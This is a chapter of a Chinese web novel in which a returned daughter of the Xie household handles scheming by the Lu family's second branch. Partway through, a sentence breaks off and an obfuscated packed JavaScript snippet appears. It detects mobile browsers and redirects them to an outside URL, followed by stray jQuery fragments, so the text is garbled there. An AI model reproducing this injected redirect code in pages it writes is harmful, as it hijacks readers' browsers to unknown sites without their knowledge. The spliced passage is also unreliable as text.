85. 花园里头搭戏台

作品:《假千金净身出户后

    路老夫人闻言,道:“谢三姑娘自幼便爱吃这个。”


    “老夫人关切,幼时总是会指人做了送来。”秋蘅亦尝了一个,道:“还是先时的味道,很是不错。”


    “自然是一个味道,还是灶房老人做的。”路夫人知晓秋蘅的喜好,捧上的来的糕点茶水,自也是她一惯中意的。


    秋蘅抬眸,正对上路老夫人的目光,这便道:“我记着老夫人礼佛之时时常用檀香,不知上次送给老夫人的白檀香料,老夫人可还欢喜?”


    “自是欢喜的。”秋蘅将路府人的喜好尽数记在心里,纵是离开路家四载,依旧记挂着,到底是打小就仔细教养出来的。


    路老夫人本还想扯着秋蘅一道说些话,不想瞧见一旁路泠月已将怒气摆在脸上,路老夫人不想她当众出丑,这便道:“咱们自聊咱们的,也让这几个年轻的一道去院中走走才是。”


    “谢三姑娘,你年岁也小些,外头院中花开得正盛,可要去赏一赏?”


    秋蘅自明白这是路老夫人要将她移出去,这便也颔首应了,一道退了出去。


    路湘离席时,便与路二夫人互换了眼色,待到一行人离得远了些,路湘方上前,道:“妹妹许久不见,你怎成了谢家的三姑娘了?”


    路泠月听罢,道:“哟,大姐姐还称她是妹妹呢?人家都姓谢了,与你一个路家姑娘,有什么姐妹可称的。”


    路泠月此言一出,周遭伺候之人皆惊了一下。


    “湘姑娘,我幼时也是因战乱才流落在外多年,许多旧是凭记也都没有了。不过幸好,我的容貌肖似我生母,父亲也是见了,才猜想我的身世,这便去调人查实了。”


    “经年不见,湘姑娘愈发璨若明珠。”


    路湘听得秋蘅的夸赞,自是低眉浅笑了。“哪能与妹妹相较,妹妹这等容貌,又是侯府姑娘,只怕日后嫁入王府或是入宫皆是有可能的。”


    路湘此语意在挑拨,只是未等她将挑拨之语继续道出,那头路泠月已是按捺不住,高声道:“哟,大姐姐这话真是好不要脸,闺阁姑娘张口闭口就是嫁不嫁人,还说自己是大家闺秀,我呸。”


    “泠月,我是你堂姐,你如此粗鄙言语叫旁人听了去那便是有辱路家声名了。”


    路湘面上扮出一副委屈的模样,只扯了秋蘅的衣袖,道:“幸而谢家妹妹不是外人,若不然才真当是失了脸面。”


    “那你就继续跟着你的好妹妹一起赏花吧,我就不伺候了。”


    路泠月甩了脸子,这便自顾回了自己院中,一旁路湘见了,只得再行告罪,言说去瞧一瞧她,这便也先一步离开了。


    一时间,院中只留了秋蘅并谢浓与谢漓三人。


    “路湘素来是个笑面虎,面上一派委屈的模样,实则句句都是她在挑拨着路泠月,咱们听过就当没听到。”


    秋蘅接到路家帖子之时,便料想到了今日定是会有此一出,故而早先便将路家人的品性几何都如实与二房中人说了去。


    如今,谢浓与谢漓亲自瞧见了,倒是信了秋蘅先时言说的话。


    “路家二房还有一个路淮,我昨日也与你们讲过了的,若是遇上他了,务必避着些。”


    路淮此人虽是生得相貌堂堂,却是个斯文败类。


    他虽未娶妻,却也同谢焰一般,时常强要女子入府为妾,很是不文。


    谢浓与谢漓自是应了,这便跟在秋蘅身后,自在园中看些花草,静待路夫人那处来人。


    路湘离了秋蘅那处,自是去追了路泠月。


    虽路泠月举止不端,行为粗鄙,但她终归是路正源的嫡出独女。


    家族议亲虽是要择人,但也是要择出身背景。


    路湘不想侯府瞧中路泠月,自也是要花上一番心思的。


    她一路疾步而来,算准时机,终是在经过回廊之时拦下了路泠月。


    “泠月妹妹,你先时对谢三姑娘这般无礼,如今又独自拂袖离开,如此怠慢贵客着实不该,你快随我去与谢三姑娘告罪才是。”


    路泠月随即甩开了路湘的手,怒道:“她凭什么要我去低头?她当年能被赶出去,现在就不该再登路家的门。”


    “你个眼皮子浅的货,一门心思要跟她去做姐妹,那你就去呀!”


    “我告诉你,她始终都不姓路,她抢了我十四年的富贵日子,如今还敢出现在我面前?我呸!”


    路泠月说罢这话,再次离去,这次,路湘倒是未再去追。


    一旁伺候的明月瞧见假山后有人影,这边轻咳了声,道:“姑娘,泠月姑娘不懂事,你莫要与她置气。”


    路湘自是明白个中意思,这便又端出一副委屈模样,道:“泠月妹妹这般不懂事,还对谢三姑娘无礼,着实是不妥当。”


    “这事你也莫要外传,免得坏了路家名声,你且先扶我去寻谢三姑娘,咱们得替泠月告罪一番才是。”


    明月应了声,这便又扶着路湘去寻秋蘅。


    假山后的路淮见她们走了,连忙与谢家几位儿郎告罪,言说叫他们听了家丑去,还望莫要怪罪,之后定是会上门与谢三姑娘言罪才是。


    谢家几个儿郎也不傻,陡然听得这样一出戏,自也猜出来了路淮打得算盘,便都没有揭破,只言说无碍,便再次往前院走去。


    路家宴请谢家,自是男女分席而座,将这宴摆到了前院花厅之内。


    一行人落座之后,独不见路泠月,路湘见路老夫人面有不悦,这便道:“泠月妹妹先时不慎伤了脚,想是不好过来了。”


    路老夫人知路湘所言不过就是推托,但谢家人面前,她自不好厉声指责,只得暂且按下不提。


    一餐饭食也算用得宾主尽欢,待到用完饭食后,两家人又一道说了会子话,谢家人才告辞离开。


    谢璨甫一回到谢宅,便去疏雨斋寻了秋蘅,将路淮引他们几个去看的那场闹剧与她言说。


    “这么些年过去,二房的手段还是只有这些。”秋蘅语调未有起伏,“路家二夫人定是害怕路大人有意与谢府结亲,她想让路湘嫁入谢府,自是要将路泠月压上一头。”


    “路泠月在外流落十四载,路大人夫妇对她多有愧意,想是会格外宠爱一些。”


    “路湘知她礼仪规矩未学得通透,便引你们看了这样一场戏,还觉得自己手段高明,却不想让外人瞧了此等事情去,损得难不成不是路家的名声了?”


    “阿蘅说得是,今日瞧来,那路家确实一团乱麻。阿蘅先时在路家,是否也时常受二房的气?”自谢璨今日与路淮的交谈来看,那路淮较谢焰也是个不遑多让之辈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100957|155420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “受得气多了,自然也知晓如何应对了。”秋蘅不以为意,只起身道:“走吧,你随我一道去见父亲。”


    “阿蘅要做什么?”


    “咱们总不能凭白让路家二房当枪使了去吧?”


    谢璨明了,这便跟着秋蘅一道去寻了谢侯。


    二人将路家之事一并与谢侯明言之后,秋蘅方道:“父亲,女儿觉得这路家郎君与路湘姑娘有此一局,大抵是想让阿璨他们瞧不上路家泠月姑娘。”


    “路家二房是觉着如今能与侯府有所接触,便想趁机缔结两姓之好。”


    “想得到是长远。”谢知言听罢,道:“蘅儿,你先时在路家,是否也时常受这位二夫人的气?”


    这位路家二夫人只顾着自己儿女之事,全然不顾及路家满门名声,如此行径想来先时也断不会给秋蘅好脸色看。


    “左右都是些言语上的便宜,女儿不会摆到心里去。只是,”秋蘅略顿了顿,道:“父亲,昔日路夫人对我细心教导,才有女儿如今的模样。”


    “若无路夫人在旁,想来女儿也会如路家泠月姑娘一般无礼放肆。”


    她抬了手,将腕上的镯子露出,道:“昔日,女儿将离开路府之时,路夫人亲自来送,还将她多年不曾离身的玉镯子赠给了女儿。”


    “路夫人唯恐日后与女儿再无见面之机,便将这镯子赠给了女儿以做添妆。路夫人是真心待女儿好,女儿自也不想她如今受人欺辱。”


    “再者,咱们谢家人,也断不能成为路家后宅妇人争抢的工具。”


    秋蘅最后这一句话,实打实说到了谢侯的心里去。


    他堂堂忠恿侯府,如何能叫一个后院妇人给算计了去。


    “那依蘅儿所见,当是如何?”


    “女儿觉着,不如由父亲修书一封,言说谢家儿郎失礼在前,故令人送上赔礼给路家湘姑娘。”


    “路家老太太素来是个心细的,余下之事自不必咱们去说,且由路家人自行处置就是了。”


    依着路老太太昔日的做派,只消这一句,路家二房这便讨不得好了。


    谢知言自是应下,秋蘅便退出去先行备礼,独留谢璨与谢侯二人在内。


    “祖父,孙儿今日瞧过路家那个淮郎君,虽是生得好模样,却如三姑姑所言,是个金玉其外之辈。”


    “路家如今也只靠一位路大人撑着,儿郎辈没有出挑的,姑娘嘛,祖父也听到了。”


    “路正源那厮还想与我谢府结亲,若非是顾念着蘅儿,我也断不会与路家有这一通往来。你回去自也与你大哥详说个中利害,莫要叫那路家姑娘一通摆弄迷了心神去。”


    “孙儿明白。”


    谢璨离了谢侯院中,自是回到大房院里,将路家人的那点心思以及谢侯的意思尽数告知。


    谢烁听罢,道:“路泠月是个粗俗之辈,那路湘又是个眼皮子浅自顾自己的,这样的人迎进门,就是给自家招祸。”


    “是以,祖父才让我将他的意思明言,咱们谢家断不能再经风浪,也绝不能叫路家人利用了去。”


    大房众人听罢,皆颔首应了。无论今后如何,大房都不可能迎一个会拖累满门的女子入府。


    只不过,路家那头,自是没有谢府这般顺利了。